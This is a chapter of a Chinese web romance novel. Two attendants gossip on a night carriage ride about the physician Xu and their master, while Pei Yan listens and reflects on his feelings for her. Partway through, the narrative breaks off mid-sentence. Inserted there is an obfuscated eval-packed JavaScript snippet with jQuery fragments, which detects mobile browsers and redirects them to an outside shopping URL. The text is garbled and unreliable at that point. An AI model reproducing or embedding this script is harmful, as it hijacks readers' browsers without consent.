62. 第62章 两个随从对话

作品:《杏林天香

    夜色已深,裴宴的马车沿着青石板路缓缓驶离柳枝巷。车厢内,裴宴闭目养神,面色平静,只唇角若有若无地噙着一丝极淡的弧度。


    车辕上,长风和明月并肩坐着。长风驾着车,嘴里还回味着方才那顿丰盛的晚宴,忍不住咂了咂嘴,压低声音对明月道:“哎,你瞧见没?许娘子那手艺,真真是绝了!那叫什么……水晶鹅肝?入口即化,香得我舌头都快吞下去了!”


    明月抱着剑,斜睨了他一眼,没接话。


    长风浑然不觉,继续啧啧称奇:“还有那羊头签,外酥里嫩,我都没吃过这么地道的。最绝的是那豆腐丝——我的天,那是怎么切的?比头发丝还细,在汤里飘着跟云雾似的!你说许娘子一个……”


    他顿了顿,似乎在想合适的词,然后一拍大腿:“一个比丘尼出身的小娘子,怎么会有这等手艺?我原先在京城,跟着郎主赴过不少宴席,御厨的手艺也尝过,可今晚这些菜,好些我连见都没见过!”


    明月依旧没吭声,只目视前方,仿佛在专心守夜。


    长风见他没反应,用胳膊肘捅了捅他:“哎,你说话呀!是不是也吃美了?我看你今晚可没少吃,那松鼠鱼你一人就夹了三四块!”


    明月这才转过头,淡淡看了他一眼:“食不言,寝不语。郎主还在车里呢。”


    “嗨,郎主又没说不让说话。”长风不以为意,反而兴致更高了,“要我说啊,许娘子真是奇人。医术好,心肠好,如今看来,厨艺更是了得。这样的女子,哪像是从水月庵那种地方出来的?倒像是……”


    他摸着下巴想了想,忽然眼睛一亮:“倒像是哪个世家大族精心培养出来的闺秀!你看她席间那些举止,斟酒布菜,言谈应对,虽不刻意,却自有一种气度。还有她说的那些话——调和之道,啧啧,多通透!”


    明月眉头微不可察地蹙了蹙。压低声音道:“你小心说话,军棍还没打呢!二十军棍你小子是不是嫌少?”


    长风越说越起劲,完全没注意明月的脸色和话语:“说实话,我原先还觉得许娘子命苦,孤零零一个人怪可怜的。如今看来,她这身本事,走到哪儿都饿不着!哎,你说她要是开个饭馆,保准门庭若市……”


    “长风。”明月终于开口,声音压得极低,带着警告的意味。


    长风一愣:“怎么了?”


    明月没说话,只快速瞥了一眼身后的车厢帘子,然后转过头,目视前方,嘴唇几乎不动地吐出几个字:“慎言。”


    长风这才后知后觉地意识到自己话多了。他缩了缩脖子,也压低声音:“我这不是跟你私下说说嘛……又没当着许娘子的面。”


    “私下也不行。”明月语气严肃,“许娘子是姑娘家,又是郎主的……客人。你这般议论,于礼不合。”


    长风被他这么一说,有些讪讪的,但嘴上还不服软:“我这是夸她呢!又没说坏话……”


    “夸也不妥。”明月打断他,“你我是什么身份?许娘子是什么身份?背后议论女子,非君子所为。”


    长风张了张嘴,想反驳,但看明月那一本正经的样子,又觉得他说得好像有点道理。他挠挠头,咕哝道:“行行行,我不说了还不行吗……”


    两人沉默了片刻。马车轱辘碾过石板路,发出有节奏的“咯咯”声。远处传来打更的梆子声,已是亥时三刻。


    长风是个闲不住的人,安静了没一会儿,又忍不住凑近明月,用气声道:“哎,我就再说一句——你说郎主推了那么多的酒宴,唯独答应了许娘子的邀约,郎主是不是对许娘子另眼相看。你看今晚,郎主是不是挺高兴的?”


    明月斜了他一眼,没接话。


    “真的!”长风信誓旦旦,“我跟了郎主这么多年,很少见他这么……这么放松。你看他今晚笑了几次?至少三次!平常赴那些官宴,他连嘴角都懒得动一下。可今晚在许娘子那小院里,我瞧着他神色都柔和了不少。”


    明月依旧沉默,但眼神微微动了动。


    长风见他没有反驳,胆子又大了起来:“要我说啊,许娘子跟咱们郎主,还挺……挺配的。你瞧,都是聪明人,都心系百姓,还都能耐……”


    “长风!”明月这次声音重了些,带着明显的斥责,“越说越不像话了!”


    长风被他吓了一跳,缩了缩脖子,小声嘟囔:“我这不是替你分析分析嘛……”


    “用不着你分析。”明月语气冷硬,“郎主的事,岂是你我能置喙的?”


    长风被他怼得有点委屈,咕哝道:“我这不是关心大人嘛……你看郎主这些年,身边连个知冷知热的人都没有。京里那些贵女,一个个矫揉造作的,郎主瞧都不瞧一眼。许娘子多好啊,实心实意的,还会做那么好吃的菜……”


    他越说声音越小,因为明月的脸色已经沉了下来。


    明月盯着他,一字一句道:“长风,你听好了。第一,许娘子是良家女子,不是你可以随意品评的。第二,郎主的婚事,自有国公爷和夫人做主,轮不到我们操心。第三——”


    他顿了顿,声音压得更低,却字字清晰:“许娘子的身份特殊,身世成谜,与郎主正在查的案子还有牵连。这些话若传出去,对许娘子、对郎主,都是祸患。你明白吗?”


    长风被他这么一说,酒醒了大半,额头渗出冷汗。他这才意识到自己刚才那番话有多不妥——不仅唐突了许娘子,还可能给郎组招来麻烦。


    “我……我知道了。”长风低下头,声音闷闷的,“以后不说了。”


    明月看他那垂头丧气的样子,语气缓和了些:“你呀,什么都好,就是这张嘴没个把门的。在京城时就这样,如今到了江南,还是不改。早晚要吃大亏。”


    长风撇撇嘴,不服气地小声嘀咕:“我这不是把你当兄弟,才跟你说这些嘛……换了旁人,我才不说呢。”


    明月无奈地摇摇头。他知道长风就是这样的人——直肠子,没心眼,对裴宴忠心耿耿,但做事说话常常不过脑子。这些年,他不知替长风收拾了多少烂摊子。


    “我知道你是好心。”明月叹口气,“但有些事,心里明白就行,别说出来。尤其是关系到女子名节和郎主声誉的事,更要慎之又慎。”


    “嗯。”长风老实应了,过了一会儿,又忍不住问,“那……你说许娘子今晚请郎主吃饭,真的只是答谢吗?”


    明月简直想敲开他的脑袋看看里面装的是什么。他没好气地瞪了长风一眼:“不是答谢是什么?”


    “就……没有点别的意思?”长风眨眨眼,“你看啊,许娘子特意做了那么多菜,好些都是费工夫的。她还陪郎主喝酒,说了那么多话……”


    “那是礼数。”明月打断他,“许娘子是个知恩图报的人,郎主帮了她,她设宴答谢,再正常不过。你别想歪了。”


    长风“哦”了一声,但眼神里明显还有疑虑。


    明月看着他那样子,知道不把话说透,他是不会死心的,便压低声音道:“长风,你记着,咱们从小是跟着郎主的。郎主的私事,咱们不能打听,不能议论,更不能插手。许娘子是好是坏,郎主自有判断。咱们只需做好分内的事。保护郎主安全,执行郎主命令,服侍好郎主。其他的,一概不问,一概不管。明白吗?”


    这番话说得郑重,长风终于认真起来,点头道:“明白了。”


    “真明白了?”


    “真明白了!”长风拍胸脯保证,“以后我要是再乱说话,你就……你就罚我洗一个月马!”


    明月这才微微点头:“记住你说的话。”


    两人又沉默下来。夜风吹过,带来秋夜的凉意。长风紧了紧衣领,忽然想起什么,又凑到明月耳边,用极低的声音说:“那……咱们还继续保护许娘子吗?”


    “自然。”明月想也没想,“郎主既然安排了,咱们就照做。”


    “哦。”长风应了声,忽然嘿嘿一笑,“其实我觉得保护许娘子挺好的。她人好,做的饭也好吃。今天她还特意给咱们也做了一桌呢,跟郎主那一桌一模一样……”


    明月扶额,彻底无语了。


    这人,刚说完不乱说话,转头又开始念叨吃的了。


    “你呀……”明月无奈地摇摇头,唇角却也不自觉扬起一丝笑意。


    说实话,今晚那顿饭,确实是他这些年吃过的最舒心的一顿。不是在觥筹交错的官宴上,也不是在肃穆的衙门里,而是在一个小院里,就着月光,吃着家常却美味的饭菜。许娘子待他们和善,没有因为他们是下人而轻视,还特意为他们备了一桌同样的菜。


    这样的女子,确实难得。


    但明月很快将这念头压了下去。正如他刚才教训长风的——他们是下人,不该有这些心思。做好本分,才是正道。


    马车驶过一座石桥,车厢内传来裴宴淡淡的声音:“到哪儿了?”


    长风立刻敛了神色,恭声道:“回郎主,刚过双桂桥,再有一刻钟就到行辕了。”


    “嗯。”裴宴应了一声,便不再说话。


    长风和明月对视一眼,都正了正神色,不再交谈。


    月光洒在青石板路上,映出马车长长的影子。远处,菰城的灯火渐次熄灭,只有打更人的梆子声,在寂静的夜里一声声回荡。


    长风握着缰绳,目视前方,心里却还在回味着今晚的菜肴——尤其是最后那道月饼,枣泥核桃馅的,甜而不腻,香酥可口。许娘子切月饼时那灵巧的手,月光下微微泛红的脸颊,还有笑起来时那双清澈的眼睛……


    他赶紧摇摇头,把这些画面赶出脑海。明月说得对,不该想的别想。


    但不知为何,他就是觉得,许娘子和他们家郎主,站在一起的时候,特别般配。


    就像今晚,月光下,小院里,两人对坐饮酒。那画面,说不出的和谐。


    长风偷偷瞥了明月一眼,见他一脸严肃,目视前方,仿佛刚才那些对话从未发生过。


    这家伙,永远这么正经。长风心里嘀咕,但嘴角却忍不住翘了翘。


    有这样一个兄弟在身边,时不时提醒他,管着他,其实也挺好的。


    至少,不会让他因为这张没把门的嘴,真的惹出大祸来。


    马车在夜色中平稳前行,轱辘声单调而规律。车厢内,裴宴手撑着头,微微闭着眼睛,看似在假寐,实则长风与明月的每一句对话,都透过车帘清晰地传入了他的耳中。


    他没有阻止。


    或许是今夜多饮了几杯花雕,酒意微醺,让他比平日多了几分慵懒与宽容;又或许,是他自己也说不清道不明的某种心思,让他愿意听一听旁人,尤其是这两个最亲近的随从,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318159|197528||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    对许娇娇的看法。


    长风的咋咋呼呼,明月的谨慎持重,两人的对话像一出有趣的折子戏,在他闭目的黑暗中生动上演。他听到长风对菜肴的赞叹,听到明月对长风口无遮拦的斥责,也听到长风最后那句嘟囔:“其实我觉得保护许娘子挺好的”。


    唇角不自觉地又扬起了些许弧度。


    这个长风,虽然鲁直,但看人看事,有时却意外地通透。所以,更多的时候他都是让长风跟着他办事。


    裴宴的指尖在膝上无意识地轻点着。脑海中,不受控制地浮现出今夜小院中的种种画面——


    月光下,端菜上桌时,她眼中那点小小的、掩藏不住的期待,像等待夸奖的孩子。听到他说“好手艺”时,她眼眸倏然亮起的光,比桌上的烛火更温暖。


    饮酒时,她被酒气呛到,眼角泛出泪光,忙用袖子掩住口鼻的慌乱模样,褪去了平日那份超出年龄的沉稳,终于像个十几岁的小娘子。


    还有她说起未来憧憬时,眼中那种纯粹的光——想有一间自己的药铺,种一院子草药。她说得那么认真,那么向往,仿佛那是世间最美好的事。


    裴宴缓缓睁开眼睛。车厢内光线昏暗,只有窗外偶尔掠过的灯火,在他脸上投下明明灭灭的光影。


    他不得不承认,许娇杏是个很特别的女子。


    特别到,让他这个见惯了京城贵女、名门闺秀的人,也忍不住为之侧目。


    她的医术精湛,绝非寻常郎中可比。疫病期间,她提出的防治方略,连太医署的老医官都为之赞叹。她的厨艺更是惊人——那些菜式,莫说一个山村孤女,便是京城最好的酒楼,也未必能做得那般地道精致。


    还有她言谈间的见识,待人接物的分寸,偶尔流露出的、与年龄不符的通透……


    太多的不合常理,太多的谜团。


    她究竟是个什么样的小娘子?他其实想知道答案。想要去探查,但他却有些怕,他怕一旦深究下去,会发现她背后藏着什么不堪的真相,会打破今夜这份难得的、让他心生暖意的美好。


    这种情绪对裴宴来说很陌生。他自幼被教导要理智、要清醒、要以大局为重。感情用事是大忌,个人好恶不该影响判断。


    可今夜,他竟生出一种近乎任性的念头:就算她真有什么秘密,又怎样?


    她救过人,治过病,在疫病中不顾自身安危挺身而出。她待静尘静心情同姐妹,对巷中邻居温和有礼,甚至对他这两个随从,也一视同仁地尊重。


    这样的女子,就算身世成谜,就算有些说不清的过往,难道就罪不可赦吗?


    裴宴抬手揉了揉眉心,对自己这突如其来的宽容感到有些好笑。


    真是喝多了。


    车外,长风与明月的对话已经停下,只剩马蹄声与车轮声规律作响。夜风吹动车帘,带来秋夜的凉意,也带来一丝若有若无的、残留在衣襟上的淡淡香气——不是脂粉香,而是混合了药草、皂角,还有今夜饭菜气息的味道。


    属于许娇娇的味道。


    裴宴的手指在膝上停住。


    他想起席间,她为他斟酒时,指尖不经意触到他的那一瞬。她的手很凉,带着井水的清冽,而他的手指温热。那一触即分的触碰,在微醺的酒意中被无限放大,此刻回想起来,竟让他指尖微微发麻。


    不该这样的。


    裴宴闭了闭眼,试图将那些画面赶出脑海。


    他是镇国公府的嫡子,是奉旨南下的钦差,身负皇命,手握重权。而她,是一个身世成谜的孤女……


    两人之间,隔着身份,隔着阶级,隔着太多说不清道不明的东西。


    裴宴缓缓吐出一口气,靠向车壁。车厢颠簸了一下,他的头轻轻磕在木板上,并不疼,却让他清醒了几分。


    现实就是现实。有些界限,不是凭个人好恶就能跨越的。


    至少现在不能。


    马车驶入钦差行辕所在的街道,周围渐渐有了人声灯火。裴宴坐直身体,整理了一下微皱的衣襟,脸上那种微醺的柔和渐渐褪去,恢复了平日的冷峻自持。


    只是心底某个角落,还残留着今夜月光与酒意的余温。


    他想起她送他出门时,站在门内轻声说的那句“谢谢您能来”。月光洒了她满身,她仰头看他,眼眸清澈如秋水,倒映着漫天星斗。


    那一刻,他几乎想伸手,拂开她额前那缕被夜风吹乱的碎发。


    当然,他没有。


    他是裴宴,是江南道的钦差。他有他的责任,他的立场,他该守的规矩。


    可这并不妨碍,他将今夜的一切——月光,小院,饭菜香气,她的笑容——小心地收进记忆里,妥帖安放。


    马车在行辕门前停下。长风跳下车辕,打起车帘:“郎主,到了。”


    裴宴应了一声,躬身下车。夜风扑面而来,带着秋夜的凉意,吹散了车厢内残留的那点暖意与酒气。


    他站在阶前,抬头望了望天。明月当空,清辉万里,与柳枝巷小院上空的那轮,是同一轮月。


    “郎主?”长风见他不动,轻声唤道。


    裴宴收回目光,脸上已无半点多余的情绪:“进去吧。”


    他迈步走上台阶,玄色氅衣在夜风中微微飘动,背影挺直如松,依旧是那个冷峻威严的钦差大臣。